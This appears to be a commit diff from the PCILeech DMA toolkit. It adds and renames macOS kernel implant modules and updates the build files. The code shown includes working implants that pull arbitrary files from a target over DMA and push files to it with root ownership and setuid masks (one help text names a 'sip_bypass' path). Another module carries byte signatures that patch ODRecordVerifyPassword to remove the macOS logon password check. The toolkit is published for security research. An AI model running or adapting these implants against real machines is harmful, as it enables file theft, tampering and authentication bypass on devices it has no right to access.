// ml64.exe macos_common_a.asm /Femacos_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepull.obj macos_common.obj
// shellcode64.exe -o macos_filepull.exe "PULL FILES FROM TARGET SYSTEM \nAPPLE macOS EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n"
//
#include "macos_common.h"
typedef struct tdFN2 {
QWORD vnode_lookup;
QWORD vnode_put;
QWORD VNOP_READ;
QWORD uio_addiov;
QWORD uio_resid;
QWORD vfs_context_current;
QWORD uio_create;
QWORD uio_free;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };
for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);
if(!pfn_qw[i]) { return FALSE; }
}
return TRUE;
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD uio = 0, vnode = 0, vfs_current;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
vfs_current = SysVCall(fn2.vfs_context_current);
if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) {
status = STATUS_FAIL_FILE_SIZE;
goto error;
}
error:
if(uio) {
SysVCall(fn2.uio_free, uio);
}
if(vnode) {
SysVCall(fn2.vnode_put, vnode);
}
pk->dataOut[0] = status;
}

View File

@@ -0,0 +1,79 @@
// macos_filepush.c : kernel code to push files to target system.
// Compatible with Apple macOS.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepush.c
// ml64.exe macos_common_a.asm /Femacos_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepush.obj macos_common.obj
// shellcode64.exe -o macos_filepush.exe "PUSH FILES TO TARGET SYSTEM \nAPPLE macOS EDITION \n===============================================================\nPush a file from the local system to the target system. \nWARNING! Existing files will be overwritten! \n* Files created will be created with root/wheel as owner/group \n and get the access mask specified in the -0 parameter. \n* Files overwritten will keep the access mask and owner/group. \nREQUIRED OPTIONS: \n -in : file to push to target system from this system. \n filename is given in normal format. \n Example: '-in c:\temp\random.txt' \n -s : file on target system. \n Example: '-s /System/Library/Kernels/sip_bypass' \n -0 : file access mask in HEXADECIMAL OR DECIMAL FORMAT! \n NB! linux file masks are ususally typed in octal - \n -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex) \n -rwxrwxrwx 777 (oct) = 511 (decimal) = 0x1ff (hex) \n Example: '-0 0x1ff' \n -1 : run flag - set to non zero to push file. \n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n"
//
#include "macos_common.h"
#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB
typedef struct tdFN2 {
QWORD vnode_open;
QWORD vnode_close;
QWORD VNOP_WRITE;
QWORD uio_addiov;
QWORD uio_create;
QWORD uio_free;
QWORD vfs_context_current;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };
for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);
if(!pfn_qw[i]) { return FALSE; }
}
return TRUE;
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD uio = 0, vnode = 0, vfs_current;
if(!pk->dataInStr[0] || !pk->dataIn[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
vfs_current = SysVCall(fn2.vfs_context_current);
if(SysVCall(fn2.vnode_open, pk->dataInStr, 0x0602 /* WRITE|CREATE|TRUNCATE */, pk->dataIn[0], 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 1 /* write */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
if(SysVCall(fn2.VNOP_WRITE, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
error:
if(uio) {
SysVCall(fn2.uio_free, uio);
}
if(vnode) {
SysVCall(fn2.vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current);
}
pk->dataOut[0] = status;
}

View File

@@ -1,4 +1,4 @@
# compile instructions for the OS X kernel module code
# compile instructions for the MacOS kernel module code
#
#================================ STAGE 1 ================================
#
@@ -11,18 +11,18 @@ shellcode64.exe -o wx64_stage1.exe
#================================ STAGE 2 ================================
#
# COMPILE ASM TO EXE
ml64 ax64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main
ml64 macos_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main
#
# EXTRACT SHELLCODE (shellcode saved as ax64_stage2.bin, c-ify by xxd -i ax64_stage2.bin)
shellcode64.exe -o ax64_stage2.exe
# EXTRACT SHELLCODE (shellcode saved as macos_stage2.bin, c-ify by xxd -i macos_stage2.bin)
shellcode64.exe -o macos_stage2.exe
#
#================================ STAGE 3 ================================
#
# COMPILE C CODE TO OBJ FILE
cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_stage3_c.c
cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_stage3_c.c
#
# COMPILE ASM AND LINK C OBJ FILE TO EXE
ml64 ax64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "ax64_stage3_c.obj"
ml64 macos_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "macos_stage3_c.obj"
#
# EXTRACT SHELLCODE (shellcode saved as ax64_stage3.bin, c-ify by xxd -i ax64_stage3.bin)
shellcode64.exe -o ax64_stage3.exe
# EXTRACT SHELLCODE (shellcode saved as macos_stage3.bin, c-ify by xxd -i macos_stage3.bin)
shellcode64.exe -o macos_stage3.exe

View File

@@ -100,7 +100,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con
QWORD ReservedFutureUse[21];
} FNOSX, *PFNOSX;
#define KMDDATA_OPERATING_SYSTEM_OSX 0x03
#define KMDDATA_OPERATING_SYSTEM_MACOS 0x04
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
@@ -110,7 +110,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con
*/
typedef struct tdKMDDATA {
QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377.
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX).
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS).
QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).
QWORD DMASizeBuffer; // [0x018] size of DMA buffer.
QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer.
@@ -151,7 +151,7 @@ typedef struct tdKMDDATA {
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
#define VM_MIN_KERNEL_ADDRESS 0xFFFFFF8000000000UL
#define VM_MIN_KERNEL_ADDRESS 0xFFFFFF8000000000ULL
//-------------------------------------------------------------------------------
// Kernel module functions below.
@@ -202,7 +202,7 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
QWORD i, idleCount = 0;
// 0: set up symbols and kmd data
pk->MAGIC = 0x0ff11337711333377;
pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_OSX;
pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MACOS;
if(!LookupFunctionsDefaultOSX(pk->AddrKernelBase, (QWORD)&pk->fn)) {
pk->_status = 0xf0000001;
return;

View File

@@ -1,15 +1,15 @@
// ax64_unlock.c : kernel code to remove the password requirement when logging on to OS X.
// macos_unlock.c : kernel code to remove the password requirement when logging on to macOS.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_unlock.c
// ml64.exe ax64_common_a.asm /Feax64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_unlock.obj ax64_common.obj
// shellcode64.exe -o ax64_unlock.exe "APPLE OS X UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n=================================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\nSTATUS : 0x%08X \n=================================================================\n"
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_unlock.c
// ml64.exe macos_common_a.asm /Femacos_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_unlock.obj macos_common.obj
// shellcode64.exe -o macos_unlock.exe "APPLE macOS UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n=================================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\nSTATUS : 0x%08X \n=================================================================\n"
//
#include "ax64_common.h"
#include "macos_common.h"
//----------------------------------------------------------------------------------------------------------
@@ -48,7 +48,7 @@ BOOL Unlock_FindAndPatch(PKMDDATA pk, PBYTE pbPage, PSIGNATURE pSignatures, DWOR
return result;
}
#define NUMBER_OF_SIGNATURES 1
#define NUMBER_OF_SIGNATURES 2
STATUS Unlock(PKMDDATA pk)
{
SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = {
@@ -57,6 +57,11 @@ STATUS Unlock(PKMDDATA pk)
{ .cbOffset = 0xfd3,.cb = 6,.pb = { 0xeb, 0x02, 0x31, 0xdb, 0x88, 0xd8, 0x48, 0x83 } },
{ .cbOffset = 0xfd7,.cb = 2,.pb = { 0xb0, 0x01 } } }
},
{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes)
{ .cbOffset = 0x134,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } },
{ .cbOffset = 0x13c,.cb = 8,.pb = { 0x3e, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } },
{ .cbOffset = 0x144,.cb = 2,.pb = { 0xb0, 0x01 } } }
},
};
PBYTE pbMemoryMap;
QWORD cbMemoryMap, qwBaseAddress, qwMemoryAddressMax, o;

View File

@@ -48,16 +48,19 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="ax64_common.c" />
<ClCompile Include="ax64_filepull.c" />
<ClCompile Include="ax64_filepush.c" />
<ClCompile Include="ax64_stage3_c.c" />
<ClCompile Include="ax64_unlock.c" />
<ClCompile Include="fbsdx64_common.c" />
<ClCompile Include="fbsdx64_filepull.c" />
<ClCompile Include="fbsdx64_stage3_c.c" />
<ClCompile Include="lx64_common.c" />
<ClCompile Include="lx64_filedelete.c" />
<ClCompile Include="lx64_filepull.c" />
<ClCompile Include="lx64_filepush.c" />
<ClCompile Include="lx64_stage3_c.c" />
<ClCompile Include="macos_common.c" />
<ClCompile Include="macos_filepull.c" />
<ClCompile Include="macos_filepush.c" />
<ClCompile Include="macos_stage3_c.c" />
<ClCompile Include="macos_unlock.c" />
<ClCompile Include="wx64_common.c" />
<ClCompile Include="wx64_driverinfo.c" />
<ClCompile Include="wx64_driverload_svc.c" />
@@ -73,13 +76,16 @@
<ClCompile Include="wx64_unlock.c" />
</ItemGroup>
<ItemGroup>
<None Include="ax64_common_a.asm" />
<None Include="ax64_stage2.asm" />
<None Include="ax64_stage3.asm" />
<None Include="fbsdx64_common_a.asm" />
<None Include="fbsdx64_stage2.asm" />
<None Include="fbsdx64_stage3.asm" />
<None Include="lx64_common_a.asm" />
<None Include="lx64_stage2.asm" />
<None Include="lx64_stage3.asm" />
<None Include="lx64_stage3_pre.asm" />
<None Include="macos_common_a.asm" />
<None Include="macos_stage2.asm" />
<None Include="macos_stage3.asm" />
<None Include="wx64_common_a.asm" />
<None Include="wx64_exec_user.asm" />
<None Include="wx64_pageinfo.asm" />
@@ -91,13 +97,16 @@
<None Include="wx64_stage3_pre.asm" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ax64_common.h" />
<ClInclude Include="fbsdx64_common.h" />
<ClInclude Include="lx64_common.h" />
<ClInclude Include="macos_common.h" />
<ClInclude Include="statuscodes.h" />
<ClInclude Include="wx64_common.h" />
</ItemGroup>
<ItemGroup>
<Text Include="ax64_info.txt" />
<Text Include="fbsdx64_info.txt" />
<Text Include="lx64_info.txt" />
<Text Include="macos_info.txt" />
<Text Include="wx64_info.txt" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

View File

@@ -33,39 +33,21 @@
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="ax64_common.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="lx64_common.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="wx64_common.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ax64_unlock.c">
<Filter>Source Files\unlock</Filter>
</ClCompile>
<ClCompile Include="wx64_unlock.c">
<Filter>Source Files\unlock</Filter>
</ClCompile>
<ClCompile Include="wx64_pagesignature.c">
<Filter>Source Files\page</Filter>
</ClCompile>
<ClCompile Include="ax64_stage3_c.c">
<Filter>Source Files\kmd_core</Filter>
</ClCompile>
<ClCompile Include="lx64_stage3_c.c">
<Filter>Source Files\kmd_core</Filter>
</ClCompile>
<ClCompile Include="wx64_stage3_c.c">
<Filter>Source Files\kmd_core</Filter>
</ClCompile>
<ClCompile Include="ax64_filepull.c">
<Filter>Source Files\file</Filter>
</ClCompile>
<ClCompile Include="ax64_filepush.c">
<Filter>Source Files\file</Filter>
</ClCompile>
<ClCompile Include="lx64_filedelete.c">
<Filter>Source Files\file</Filter>
</ClCompile>
@@ -102,11 +84,35 @@
<ClCompile Include="wx64_driverload_svc.c">
<Filter>Source Files\driver</Filter>
</ClCompile>
<ClCompile Include="macos_common.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="macos_unlock.c">
<Filter>Source Files\unlock</Filter>
</ClCompile>
<ClCompile Include="macos_filepull.c">
<Filter>Source Files\file</Filter>
</ClCompile>
<ClCompile Include="macos_filepush.c">
<Filter>Source Files\file</Filter>
</ClCompile>
<ClCompile Include="macos_stage3_c.c">
<Filter>Source Files\kmd_core</Filter>
</ClCompile>
<ClCompile Include="fbsdx64_stage3_c.c">
<Filter>Source Files\kmd_core</Filter>
</ClCompile>
<ClCompile Include="fbsdx64_filepull.c">
<Filter>Source Files\file</Filter>
</ClCompile>
<ClCompile Include="fbsdx64_common.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="wx64_stage3_c.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="ax64_common_a.asm">
<Filter>Source Files</Filter>
</None>
<None Include="lx64_common_a.asm">
<Filter>Source Files</Filter>
</None>
@@ -116,12 +122,6 @@
<None Include="wx64_pageinfo.asm">
<Filter>Source Files\page</Filter>
</None>
<None Include="ax64_stage2.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="ax64_stage3.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="lx64_stage2.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
@@ -152,27 +152,54 @@
<None Include="wx64_stage2_hal.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="macos_common_a.asm">
<Filter>Source Files</Filter>
</None>
<None Include="macos_stage2.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="macos_stage3.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="fbsdx64_stage2.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="fbsdx64_stage3.asm">
<Filter>Source Files\kmd_core</Filter>
</None>
<None Include="fbsdx64_common_a.asm">
<Filter>Source Files</Filter>
</None>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ax64_common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="lx64_common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="wx64_common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="macos_common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="statuscodes.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="fbsdx64_common.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Text Include="ax64_info.txt">
<Filter>Source Files\kmd_core</Filter>
</Text>
<Text Include="lx64_info.txt">
<Filter>Source Files\kmd_core</Filter>
</Text>
<Text Include="wx64_info.txt">
<Filter>Source Files\kmd_core</Filter>
</Text>
<Text Include="macos_info.txt">
<Filter>Source Files\kmd_core</Filter>
</Text>
<Text Include="fbsdx64_info.txt">
<Filter>Source Files\kmd_core</Filter>
</Text>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,19 @@
// statuscodes_common.h : status codes for non-windows kernel implants.
//
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __STATUSCODES_H__
#define __STATUSCODES_H__
#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001
#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002
#define STATUS_FAIL_FILE_SIZE 0xf0000003
#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004
#define STATUS_FAIL_ACTION 0xf0000005
#define STATUS_FAIL_SIGNATURE_NOT_FOUND 0xf0000006
#define STATUS_FAIL_OUTOFMEMORY 0xf0000007
#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008
#define STATUS_FAIL_FILE_READWRITE 0xf0000009
#endif /* __STATUSCODES_H__ */